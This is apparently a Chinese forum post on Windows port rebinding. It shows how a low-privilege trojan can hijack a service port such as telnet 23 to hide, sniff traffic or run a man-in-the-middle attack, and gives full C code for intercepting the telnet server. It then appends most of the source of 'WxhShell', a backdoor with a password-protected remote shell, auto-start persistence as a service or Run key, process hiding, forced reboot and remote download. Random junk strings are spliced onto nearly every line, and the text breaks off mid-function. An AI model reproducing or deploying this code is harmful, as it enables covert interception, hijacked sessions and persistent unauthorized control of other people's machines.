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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /bg8oB4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GJ!usv u  
Dz.U&+*  
  saddr.sin_family = AF_INET; NJn~XCq  
28zt.9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T Li0*)}  
eQzTb91  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |`#[jHd  
5PdC4vI*+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  c,x2   
K&Zdk (l)  
  这意味着什么?意味着可以进行如下的攻击: I#9A\.pO  
t'~:me!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^fH]Rlx  
~d28"p.7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U edh4qa  
sd Z=3)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2Ask]  
$yRbo '-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |qfnbi-\  
)p(XY34]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SrU,-mA W  
POx~m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cND2(< jx:  
:'#B U:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ("wPkm^  
90M:0SH  
  #include ePB=aCZ  
  #include ;v#~ o*  
  #include h (jg7R  
  #include    l0Y(9(M@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s|YY i~  
  int main() Z5_MSPm  
  { Kq{9 :G  
  WORD wVersionRequested; QR<IHE{~8  
  DWORD ret; [BmondOx  
  WSADATA wsaData; =OTwP  
  BOOL val; sg{>-KHM  
  SOCKADDR_IN saddr; v-4eN1OS  
  SOCKADDR_IN scaddr; H#G'q_uHH  
  int err; ]'M Ly#9  
  SOCKET s; v&p\ r'w  
  SOCKET sc; L<5go\!bV  
  int caddsize; '0z@Jevd?  
  HANDLE mt; q48V|6X'q  
  DWORD tid;   7teg*M{  
  wVersionRequested = MAKEWORD( 2, 2 ); wIL5-k,  
  err = WSAStartup( wVersionRequested, &wsaData ); m3K8hL/  
  if ( err != 0 ) { "?n~ /9`  
  printf("error!WSAStartup failed!\n"); B4_0+K H  
  return -1; 0|HD(d`a  
  } FtT+Q$q=  
  saddr.sin_family = AF_INET; !&ac}uD^g  
   G)iV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D@FJVF7c  
o1-Zh!*a*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #Z(8 vA^@  
  saddr.sin_port = htons(23); \} P}H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cPkN)+K  
  { @va)j   
  printf("error!socket failed!\n"); [uW{Ap~2  
  return -1; D 0\  
  } mf^(Tq[  
  val = TRUE; dGTAZ(1W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q?e97a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x^;nQas;  
  { Z,_yE*q  
  printf("error!setsockopt failed!\n"); -D`*$rp,  
  return -1; pkM_ @K  
  } sq\oatMw[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0ppZ~}&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ] +LleS5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [D^KM|I%+  
X+ h|sy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $@7S+'Q3  
  { V2V^*9(wu@  
  ret=GetLastError(); +}J2\!Jw  
  printf("error!bind failed!\n"); t%/Y^N;  
  return -1; =VH, i/@  
  } <pK72  
  listen(s,2); PGOi#x  
  while(1) l{E+j%  
  { Wu,'S;>C  
  caddsize = sizeof(scaddr); 8m2-fuJz  
  //接受连接请求 K #}DXq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AN\:  
  if(sc!=INVALID_SOCKET) r}+U1l3#2  
  { Yvcd(2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @c9VCG D  
  if(mt==NULL) ;SEH|_/  
  { W52AX.Nm  
  printf("Thread Creat Failed!\n"); Q!(C$&f  
  break; Z1wN+Y.CA  
  } ?ye) &  
  } ? !MDg_oHd  
  CloseHandle(mt); FQ*4?D,A  
  } tT ~}lW)Y  
  closesocket(s); Mp:tcy,*  
  WSACleanup(); [ft#zxCJ  
  return 0; SYOND>E  
  }   5P ,{h  
  DWORD WINAPI ClientThread(LPVOID lpParam) k^}8=,j}  
  { >t<FG2  
  SOCKET ss = (SOCKET)lpParam; )F,H(LblH  
  SOCKET sc; XI~2Vzht  
  unsigned char buf[4096]; FYFP 6ti  
  SOCKADDR_IN saddr; =cs;avtL  
  long num; ]!E|5=q  
  DWORD val; #DXC 6f  
  DWORD ret; T@;z o8:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @kK${  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0Y,_ DU  
  saddr.sin_family = AF_INET; GU8b_~Gk?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c{Nk"gEfRA  
  saddr.sin_port = htons(23); ;;pxI5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /%\E2+6  
  { {'4h.PB+r  
  printf("error!socket failed!\n"); 7SE\(K=<%  
  return -1; u.YPb@  
  } \Lv eZ_h5  
  val = 100; ?g+0S@{i $  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b*LEoQSl0V  
  { rR@ t5  
  ret = GetLastError(); 6UXa 5t  
  return -1; ()6)|A<^U  
  } DBANq\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?vuM'UH-  
  { aT$q1!U`j2  
  ret = GetLastError(); "K5n|{#  
  return -1; ^} P|L  
  } qcEiJ}-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J)vP<.3:  
  { a1R2ocC  
  printf("error!socket connect failed!\n"); L!x7]g,^  
  closesocket(sc); +/y 3]}  
  closesocket(ss); Z;M]^?  
  return -1; ^o}!=aMr  
  } /PH+K24v~  
  while(1) c+c3C8s*8  
  { e;\g[^U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p1 > D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4SIi<cS0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sh(  
  num = recv(ss,buf,4096,0); XP~bmh,T,  
  if(num>0) %p6"Sg*  
  send(sc,buf,num,0); ;A7HEx  
  else if(num==0) xq+$Q:f  
  break; 7Gd)=Q{uur  
  num = recv(sc,buf,4096,0); _doX&*9u  
  if(num>0) >MZWm6M8  
  send(ss,buf,num,0); 0l#gS;  
  else if(num==0) E5qh]z (  
  break; ??0C"8:[  
  } WW82=2rJ9  
  closesocket(ss); Cy-q9uTm  
  closesocket(sc); (dn(:<_$  
  return 0 ; xtMN<4#E  
  } n=!]!'h\:  
~?4'{Hc'  
@ de_|*c  
========================================================== :c3}J<Z  
q'~ ?azg:  
下边附上一个代码,,WXhSHELL +U_> Bo  
awLN>KI]</  
========================================================== ]o`qI#{R~R  
t &XH:w&j  
#include "stdafx.h" 9,wd,,ta  
u&Ts'j  
#include <stdio.h> E/z^~;KA  
#include <string.h> gp'9Pf;\[  
#include <windows.h> m`C c U`s  
#include <winsock2.h> #ky]@vyO  
#include <winsvc.h> }PdS?[R  
#include <urlmon.h> k4r;t: O^  
l]D?S]{a  
#pragma comment (lib, "Ws2_32.lib") KLD)h,]  
#pragma comment (lib, "urlmon.lib") O* `v1>  
17g\XC@ Cl  
#define MAX_USER   100 // 最大客户端连接数 VL= .JwK  
#define BUF_SOCK   200 // sock buffer dx}) 1%  
#define KEY_BUFF   255 // 输入 buffer P @N7g`u3}  
d#E]>:w9  
#define REBOOT     0   // 重启 (8DJf"}  
#define SHUTDOWN   1   // 关机 m`luMt9  
=>nrU8x  
#define DEF_PORT   5000 // 监听端口 )N h67P3X"  
}pOL[$L  
#define REG_LEN     16   // 注册表键长度 DZo7T!  
#define SVC_LEN     80   // NT服务名长度 l",JN.w  
8OE=7PK  
// 从dll定义API P__JN\{9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B1dVHz#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {"|P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6[fpe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |hBX"  
V|GH4DT=  
// wxhshell配置信息 eF+:w:\h  
struct WSCFG { mLApF5Hy  
  int ws_port;         // 监听端口 $D{ KXkrd  
  char ws_passstr[REG_LEN]; // 口令 9qc<m'MZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'p<lfT  
  char ws_regname[REG_LEN]; // 注册表键名 ,#&\1Vxf  
  char ws_svcname[REG_LEN]; // 服务名 JGQlx-qv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hl`S\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ":s1}A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A&EVzmj-+X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x\taG.'zX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p!qV!:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l&3f<e  
2ghTAsUx9  
}; AX6z4G  
533n z8&9@  
// default Wxhshell configuration M- inlZNR  
struct WSCFG wscfg={DEF_PORT, GJ YXCi  
    "xuhuanlingzhe", K@av32{  
    1, ~)>O=nR  
    "Wxhshell", q@K8,=/.#  
    "Wxhshell", {Up@\M  
            "WxhShell Service", l 2&cwjc  
    "Wrsky Windows CmdShell Service", &o{=  
    "Please Input Your Password: ", anDwv }  
  1, 4n6EkTa  
  "http://www.wrsky.com/wxhshell.exe", 5G5P#<Vv  
  "Wxhshell.exe" 9 0PF)U  
    }; "rhU2jT=c  
hcWYz  
// 消息定义模块 },r30`)Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kU uDA><1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5=< y%VF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8 MUY  
char *msg_ws_ext="\n\rExit."; VVY#g%(K  
char *msg_ws_end="\n\rQuit."; mOiA}BGw  
char *msg_ws_boot="\n\rReboot..."; b| e7mis@  
char *msg_ws_poff="\n\rShutdown..."; -+1_ 1!  
char *msg_ws_down="\n\rSave to "; sEBZ-qql  
<'s_3AC  
char *msg_ws_err="\n\rErr!"; l#40VHa?S  
char *msg_ws_ok="\n\rOK!"; ,-!h  
5R^e  
char ExeFile[MAX_PATH]; CM$q{;y  
int nUser = 0; : ?K}.Kb  
HANDLE handles[MAX_USER]; "9mVBa|Q  
int OsIsNt; Kob i!  
oW0A8_|9  
SERVICE_STATUS       serviceStatus; |%wgux`z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c?@WNv  
%V40I{1  
// 函数声明 4k}3^.#  
int Install(void); 7Jm&z/  
int Uninstall(void); ZkbaUIQ  
int DownloadFile(char *sURL, SOCKET wsh); =+I~K'2  
int Boot(int flag); lrn3yDkR?  
void HideProc(void); q. i2BoOd  
int GetOsVer(void); DV={bcQ  
int Wxhshell(SOCKET wsl); x#wkODLqi  
void TalkWithClient(void *cs); FG-v71!h#  
int CmdShell(SOCKET sock); @UbH ;m  
int StartFromService(void); V L^.7U  
int StartWxhshell(LPSTR lpCmdLine); aT9+] Ig  
977%9z<h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )Dg;W6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t r)[6o#  
1 _A B; ^  
// 数据结构和表定义 />wM#)o2  
SERVICE_TABLE_ENTRY DispatchTable[] = hLs<g!*O  
{ CV9o,rL  
{wscfg.ws_svcname, NTServiceMain}, KKrLF?rc  
{NULL, NULL} (lNV\Za  
}; +[LG>  
rV yw1D  
// 自我安装 z%lu%   
int Install(void) P}YtT3. K  
{ .f1  
  char svExeFile[MAX_PATH]; sj;n1t}$S  
  HKEY key; *=sMJY9#jE  
  strcpy(svExeFile,ExeFile); *w H.]$  
qh|t}#DrR  
// 如果是win9x系统,修改注册表设为自启动 ^Y;}GeA,  
if(!OsIsNt) { K;:_UJ>t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F&tU^(7<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &.m.ruab  
  RegCloseKey(key); nC:>1 kt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y/%(4q*'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Yw  
  RegCloseKey(key); #8Bs15aV  
  return 0; cO8':P5Q  
    } =:w]EpH"  
  } {7'Evfn)  
} e_<'zH_1  
else { _u[2R=h  
O/(QLgUr  
// 如果是NT以上系统,安装为系统服务 [~aRA'qJ{V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ax.;IU  
if (schSCManager!=0) ab}Kt($  
{ /?ZO-]q  
  SC_HANDLE schService = CreateService kFRl+,bi~  
  ( |w{}h6 a  
  schSCManager, Bf21u 9  
  wscfg.ws_svcname, TR<M3,RG#%  
  wscfg.ws_svcdisp, f:\)oIW9Kk  
  SERVICE_ALL_ACCESS, Jbv[Ql#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Ix{JP"Lk  
  SERVICE_AUTO_START, '%H\ k5^  
  SERVICE_ERROR_NORMAL, \&6^c=2=  
  svExeFile, )Ja&Y  
  NULL, /e:kBjysJ  
  NULL, rW P -Rm  
  NULL, } SNZl`>  
  NULL, '^{:HR#i  
  NULL cXd?48O  
  ); zao=}j?  
  if (schService!=0) @W1F4HYds  
  { +W%3VV$  
  CloseServiceHandle(schService); anzt;V.;Y  
  CloseServiceHandle(schSCManager); 5r)]o'? s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @ Y&UP  
  strcat(svExeFile,wscfg.ws_svcname); ^vY[d]R _\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =pCO1<wR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sQXj?5!  
  RegCloseKey(key); W{i s2s  
  return 0; 3J_B uMV  
    } )Jaq5OMA/  
  } mm:g9j  
  CloseServiceHandle(schSCManager); ubQbEv{(,  
} ~PtIq.BY  
} [["az'Lrk?  
s# 9*`K  
return 1; Ncr*F^J4  
} YApm)O={  
'* eeup  
// 自我卸载 V#,jUH|  
int Uninstall(void) @OGHS}-\  
{ 0@tN3u?dx  
  HKEY key; 0,]m.)ws  
>X_5o^s2s  
if(!OsIsNt) { d=DQS>Nz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u Wxl\+_i  
  RegDeleteValue(key,wscfg.ws_regname); M~ku4ZP  
  RegCloseKey(key); eUVhNg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m>9j dsqB  
  RegDeleteValue(key,wscfg.ws_regname); asZ(Hz%  
  RegCloseKey(key); wZ%a:Z4TcM  
  return 0; !Z!X]F-fY  
  } He)!Ez\X  
} H7{I[>:  
} !T"jvDYH  
else { )>(ZX9diV  
 ae>B0#=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -R-yr.$j*  
if (schSCManager!=0) OsV'&@+G>  
{  \RS ,Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8'* /|)Hn  
  if (schService!=0) yA]OX"T?*  
  { \h@3dJ4  
  if(DeleteService(schService)!=0) { jdX *  
  CloseServiceHandle(schService); IAi|4,y_L  
  CloseServiceHandle(schSCManager); hEq-)-^G  
  return 0; Z</57w#-7  
  } F EA t6  
  CloseServiceHandle(schService); *t300`x  
  } =`ECM7  
  CloseServiceHandle(schSCManager); 2&zklXuo:  
} vMzBp#MT  
} K/0Wp %  
:E.T2na  
return 1; 8l*h\p:Q  
} zG)vmysJf  
x c|1?AFj  
// 从指定url下载文件 3}lIY7 O  
int DownloadFile(char *sURL, SOCKET wsh) 8osP$"/o  
{ )lU9\"?o  
  HRESULT hr; #~ZaN;u  
char seps[]= "/"; LT#EYnG  
char *token; 8GeJ%^0o}  
char *file; cAq5vAqmg  
char myURL[MAX_PATH]; G_`Ae%'h  
char myFILE[MAX_PATH]; >U)>~SQf  
Pq, iR J  
strcpy(myURL,sURL); !j/54,  
  token=strtok(myURL,seps); I2WWhsNC  
  while(token!=NULL) c{j)beaS  
  { |W*5<2Q9  
    file=token; *).!  
  token=strtok(NULL,seps); T037|k a{  
  } +ryB*nT  
TZhYgV  
GetCurrentDirectory(MAX_PATH,myFILE); &88c@Ksn  
strcat(myFILE, "\\"); W5/|.}  
strcat(myFILE, file); t +|t/1s2  
  send(wsh,myFILE,strlen(myFILE),0); iB5q"hoZC  
send(wsh,"...",3,0); |rI;OvZ\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]&s@5<S[  
  if(hr==S_OK) 5w%[|%KG:L  
return 0; tn;{r  
else V\AY=u  
return 1; ]X> I(p@  
6xFchdMG{m  
} \,#;gS "  
M+I9k;N6&  
// 系统电源模块 Vjd(Z  
int Boot(int flag) AH?[K,3  
{ ] Upr<!  
  HANDLE hToken; Y;@]G=a   
  TOKEN_PRIVILEGES tkp; 7\N }QP0"u  
|;\pAZ2  
  if(OsIsNt) { B|.A6:1g+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jX0^1d@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _sn<"B%>  
    tkp.PrivilegeCount = 1; 2B^WZlx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _St ":9'uU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ilyF1=bp  
if(flag==REBOOT) { +F.@n_}p-I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .[+}nA,g%~  
  return 0; 8@b`a]lgrd  
} ^Vi{._r  
else { eJ6 #x$I,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {-Gh 62hDg  
  return 0; SAdo9m'  
} x4h.WDT$  
  } ^rd%{ 6m  
  else { abv*X 1  
if(flag==REBOOT) { 8llXpe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  f^KN8N  
  return 0; {|<yZ,,p  
} ohs`[U=%~  
else { OT(0~,.GJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @t0T+T3  
  return 0; zeq")A  
} p]<)6sZ  
} $j8CF3d.6  
2.N)N%@  
return 1; /r2S1"(q  
} e"*1l>g  
Jd?qvE>Pp  
// win9x进程隐藏模块 a5aHv/W#P  
void HideProc(void)  ?!<Q8=  
{ U#bmMH  
'p78^4'PL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1k^$:'  
  if ( hKernel != NULL ) IuA4eDr^Y%  
  { cLRzm9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >ts}\.(]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fUfd5W1"  
    FreeLibrary(hKernel); ]Yf^O @<<>  
  } m 9\"B3sr  
w{u,YM(Q  
return; t: oQHhO?  
} q#I'@Jbj  
V;^N:I\js  
// 获取操作系统版本 U&=pKbTe  
int GetOsVer(void) UbGnU_}  
{ mIp> ~  
  OSVERSIONINFO winfo; ]N;n q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =HJ7tele  
  GetVersionEx(&winfo); .t8hTlV?<B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SAj#+_db  
  return 1; 4P=1)t?tX  
  else Ke3~o"IQ  
  return 0;  (:o:_U  
} cui%r!D  
HG< z,gE 2  
// 客户端句柄模块 <L11s%5-  
int Wxhshell(SOCKET wsl) r> Xk1~<!  
{ $7]?P;$  
  SOCKET wsh; U$y wO4.  
  struct sockaddr_in client; lkly2|wA  
  DWORD myID; r NKeY48\  
`IJ)'$pn  
  while(nUser<MAX_USER) Fw{68ggk  
{ aMxj{*v7  
  int nSize=sizeof(client); eK5~gnv,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >mpNn  
  if(wsh==INVALID_SOCKET) return 1; g kV`ZT9  
->o[ S0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ayv:Pv@  
if(handles[nUser]==0) |(TEG.<g  
  closesocket(wsh); #H<}xC2  
else sZxTsUW  
  nUser++; :8`$BbV  
  } N6p0`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~3%\8,0  
6d6Dk>(V  
  return 0; =S6bP<q  
} !.MbPPNp  
2L[!~h2  
// 关闭 socket 64 'QTF{D  
void CloseIt(SOCKET wsh) wtfH3v  
{ "w0~f6o  
closesocket(wsh); ZR%$f-  
nUser--; t9*e"QH  
ExitThread(0); t^>P,%$  
} 5} <OB-9  
0u&x%c  
// 客户端请求句柄 J>G'H)  
void TalkWithClient(void *cs) u|.|dv'mbp  
{ m\CU,9;;(  
[\ Sd*-  
  SOCKET wsh=(SOCKET)cs; {oF;ZM'r  
  char pwd[SVC_LEN]; g:xg ~H2  
  char cmd[KEY_BUFF]; ]bmf}&  
char chr[1]; d0|{/4IWw;  
int i,j; 4M|C>My  
:w Y%=  
  while (nUser < MAX_USER) { /.rj\,  
) ?B-en\  
if(wscfg.ws_passstr) { tJQZRZViu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); | 2<zYY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mae2L2vc  
  //ZeroMemory(pwd,KEY_BUFF); _D@QsQ_Z  
      i=0; &'i>d&  
  while(i<SVC_LEN) { 8 $H\b &u  
v0(}"0  
  // 设置超时 l x0BKD?n  
  fd_set FdRead; ;14Q@yrZ0  
  struct timeval TimeOut; xC= $ym]  
  FD_ZERO(&FdRead); IG;= |  
  FD_SET(wsh,&FdRead);  lX/7  
  TimeOut.tv_sec=8; >Wx9a"H^(  
  TimeOut.tv_usec=0; .YH#+T'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F3$8l[O_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D'{ o3Q,%K  
BT;1"l<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `WxGU  
  pwd=chr[0]; nehk8+eV_  
  if(chr[0]==0xd || chr[0]==0xa) { 4AvIU!0w  
  pwd=0; 4DP<)KX  
  break; qh&KNJ>1  
  } NU{eoqaT  
  i++; k%-UW%  
    } Rf>V]R  
2v4&'C  
  // 如果是非法用户,关闭 socket yDe*-N\'W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s2 aFme  
} sT<h+[2d  
kf~>%tES]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H.l WHM+H4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l +`CgYo  
(U.VCSn  
while(1) { |\"%Dy[m  
(tzAUrC  
  ZeroMemory(cmd,KEY_BUFF); u V'C_H  
j *N^.2  
      // 自动支持客户端 telnet标准   m{lS-DlRg  
  j=0; <3=k  
  while(j<KEY_BUFF) { 1.~^QH\p?3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HC>k/Gk"  
  cmd[j]=chr[0]; bOV]!)o  
  if(chr[0]==0xa || chr[0]==0xd) { 8jLO-^X<<  
  cmd[j]=0; z!~{3M  
  break; IWhe N  
  } A v/y  
  j++; )^E6VD&6  
    } *s2 C+@ef  
$"=0{H.?  
  // 下载文件 MpIP)bdq7  
  if(strstr(cmd,"http://")) { x^pHP|<3`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L>57eF)7  
  if(DownloadFile(cmd,wsh)) 5y~B/.YY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!NA}Oa  
  else (1Jc-`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^c sOXP=Yp  
  } 3[m~6 Ys  
  else { f_QZ ql  
h#|Ac>fz  
    switch(cmd[0]) { T=pKen/  
  Y3'dV)  
  // 帮助 %9t=Iu*  
  case '?': { cn_*,\}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fEyc3K'5V  
    break; <bBgevL+_K  
  } qKuHd~M{ 1  
  // 安装 ?T[K{t;~jo  
  case 'i': { )Vx C v  
    if(Install()) t;[?Q\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *eUxarI  
    else FWyfFCK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S'AS,'EnY  
    break; CH=k=)() ]  
    } .OF2O}  
  // 卸载 t~]tw  
  case 'r': { %TQ5#{Y  
    if(Uninstall()) z8w@pT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |\q@XCGei  
    else "eKM<S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rJcZ a#  
    break; 1f5;^T I  
    } }cI _$  
  // 显示 wxhshell 所在路径 0J9Ub   
  case 'p': { 1Q??R }  
    char svExeFile[MAX_PATH]; K6oQx)|  
    strcpy(svExeFile,"\n\r"); C;rK16cn  
      strcat(svExeFile,ExeFile); o}lA\A  
        send(wsh,svExeFile,strlen(svExeFile),0); 5%XEybc2  
    break; 1|#j/  
    } T9Pu V  
  // 重启 g6<D 1r  
  case 'b': { zB)wY KwZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tumYZ)nW  
    if(Boot(REBOOT)) mF] 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ew#@  
    else { o_%gFV[q  
    closesocket(wsh); w<=-n ;2  
    ExitThread(0); hk+"c^g:j<  
    } EN2/3~syO-  
    break; *[wj )  
    } [%BWCd8Q~P  
  // 关机 U~[ tp1Z)  
  case 'd': { g 2&P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $8Y|& P  
    if(Boot(SHUTDOWN)) 5JRj'G0I  
